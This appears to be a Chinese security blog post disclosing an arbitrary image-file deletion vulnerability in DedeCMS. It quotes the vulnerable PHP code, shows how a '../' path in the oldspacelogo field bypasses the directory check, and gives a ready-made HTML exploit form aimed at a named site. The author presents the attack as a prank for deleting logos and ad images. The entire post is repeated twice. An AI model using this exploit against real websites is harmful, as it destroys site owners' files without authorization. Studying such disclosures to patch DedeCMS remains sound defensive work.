DEDECMS 会员任意删除文件漏洞
2011-01-27 15:47
369 查看
发布日期:2011-01.25
发布作者:心灵
影响版本:DEDECMS
官方网站:http://www.dedecms.com
漏洞类型:设计缺陷
漏洞描述:
edit_fullinfo.php
if($dopost=='save') //edit_fullinfo.php?dopost=save 就来到这步了 { $oldspacelogo=(empty($oldspacelogo))? "" : $oldspacelogo; //没有做任何过滤 $spacelogo=(empty($spacelogo))? "" : $spacelogo; $pagesize=(empty($pagesize))? "" : $pagesize; $sign=(empty($sign))? "" : $sign; $spacenews =(empty($spacenews))? "" : $spacenews; $spacename =(empty($spacename))? "" : $spacename; $maxlength = $cfg_max_face * 1024; $userdir = $cfg_user_dir.'/'.$cfg_ml->M_ID; //$userdir就是当前用户ID的图片文件夹 例如 uploads/userup/4/ if(!ereg('^'.$userdir, $oldspacelogo)) //这里绕过简单得很 uploads/userup/4/../../../ 既可绕过 { $oldspacelogo = ''; } if(is_uploaded_file($spacelogo)) //这里要一定随便一个文件图片文件上传 { if(@filesize($_FILES['spacelogo']['tmp_name']) > $maxlength) { howMsg("你上传的Logo文件超过了系统限制大小:{$cfg_max_face} K!", '-1'); exit(); } //这里是检测图片大小 你找一个1KB的就行了 //删除旧图片(防止文件扩展名不同,如:原来的是gif,后来的是jpg) 这短话是官方留下的 if(eregi("/.(jpg|gif|png)$", $oldspacelogo) && file_exists($cfg_basedir.$oldspacelogo)) { //由于这里不能被绕过 所以只能删除网站所有的JPG GIF PNG这样后缀的文件 所以才叫恶作剧 @unlink($cfg_basedir.$oldspacelogo) } EXP
<form id="frmUpload" enctype="multipart/form-data" action="http://www.t00ls.net/member/edit_space_info.php" method="post" name="spacelogo"> Upload a new file: <input type="file" name="spacelogo" size="50" id="spacelogo" value="spacelogo"> <label> <input name="dopost" type="text" value="save" /> </label> <label> <input name="oldspacelogo" type="text" value="/uploads/userup/111/../../../sb/11.jpg" /> //uploads/userup/111/ 这个路径自己上传一张图片后就能获得 /sb/11.jpg 为要删除图片的路径 这里很简单 不明白的拿块豆腐砸死自己自杀把 </label> <label> <input name="spacename" type="text" value="t00ls" /> </label> <label> <input name="pagesize" type="text" value="10" /> </label> <input id="spacelogo" type="submit" value="Upload" > </form> 哈 这样就能删除网站任何的JPG GIF PNG格式文件 恶作剧就是把LOGO删除了 或者某些广告图片删除 等管理员模糊
发布作者:心灵
影响版本:DEDECMS
官方网站:http://www.dedecms.com
漏洞类型:设计缺陷
漏洞描述:
edit_fullinfo.php
if($dopost=='save') //edit_fullinfo.php?dopost=save 就来到这步了 { $oldspacelogo=(empty($oldspacelogo))? "" : $oldspacelogo; //没有做任何过滤 $spacelogo=(empty($spacelogo))? "" : $spacelogo; $pagesize=(empty($pagesize))? "" : $pagesize; $sign=(empty($sign))? "" : $sign; $spacenews =(empty($spacenews))? "" : $spacenews; $spacename =(empty($spacename))? "" : $spacename; $maxlength = $cfg_max_face * 1024; $userdir = $cfg_user_dir.'/'.$cfg_ml->M_ID; //$userdir就是当前用户ID的图片文件夹 例如 uploads/userup/4/ if(!ereg('^'.$userdir, $oldspacelogo)) //这里绕过简单得很 uploads/userup/4/../../../ 既可绕过 { $oldspacelogo = ''; } if(is_uploaded_file($spacelogo)) //这里要一定随便一个文件图片文件上传 { if(@filesize($_FILES['spacelogo']['tmp_name']) > $maxlength) { howMsg("你上传的Logo文件超过了系统限制大小:{$cfg_max_face} K!", '-1'); exit(); } //这里是检测图片大小 你找一个1KB的就行了 //删除旧图片(防止文件扩展名不同,如:原来的是gif,后来的是jpg) 这短话是官方留下的 if(eregi("/.(jpg|gif|png)$", $oldspacelogo) && file_exists($cfg_basedir.$oldspacelogo)) { //由于这里不能被绕过 所以只能删除网站所有的JPG GIF PNG这样后缀的文件 所以才叫恶作剧 @unlink($cfg_basedir.$oldspacelogo) } EXP
<form id="frmUpload" enctype="multipart/form-data" action="http://www.t00ls.net/member/edit_space_info.php" method="post" name="spacelogo"> Upload a new file: <input type="file" name="spacelogo" size="50" id="spacelogo" value="spacelogo"> <label> <input name="dopost" type="text" value="save" /> </label> <label> <input name="oldspacelogo" type="text" value="/uploads/userup/111/../../../sb/11.jpg" /> //uploads/userup/111/ 这个路径自己上传一张图片后就能获得 /sb/11.jpg 为要删除图片的路径 这里很简单 不明白的拿块豆腐砸死自己自杀把 </label> <label> <input name="spacename" type="text" value="t00ls" /> </label> <label> <input name="pagesize" type="text" value="10" /> </label> <input id="spacelogo" type="submit" value="Upload" > </form> 哈 这样就能删除网站任何的JPG GIF PNG格式文件 恶作剧就是把LOGO删除了 或者某些广告图片删除 等管理员模糊
相关文章推荐
- Discuz!X 3.4 任意文件删除漏洞复现过程(附python脚本)
- 织梦(Dedecms)V5.6 远程文件删除漏洞
- Ewebeditor2.8.0最终版删除任意文件漏洞
- Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除
- Discuz!X 前台任意文件删除漏洞复现测试
- Discuz<3.4任意文件删除漏洞
- dedecms好友描述修改和会员中心收藏删除均存在sql注入漏洞
- Discuz全版本任意文件删除漏洞
- Discuz<=3.4任意文件删除漏洞
- Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除
- Discuz!X 3.4 前台任意文件删除漏洞复现
- [代码审计]XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)
- 动易网站管理系统删除任意文件漏洞
- 关于finecms v5 会员头像 任意文件上传漏洞分析
- phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞
- 【漏洞公告】FFmpeg本地文件任意读取漏洞
- PHP任意文件上传漏洞
- ASP.NET惊爆新安全漏洞 攻击者可访问任意文件
- WordPress Think Responsive Themes ‘upload_settings_image.php’任意文件上传漏洞
- FFmpeg任意文件读取漏洞分析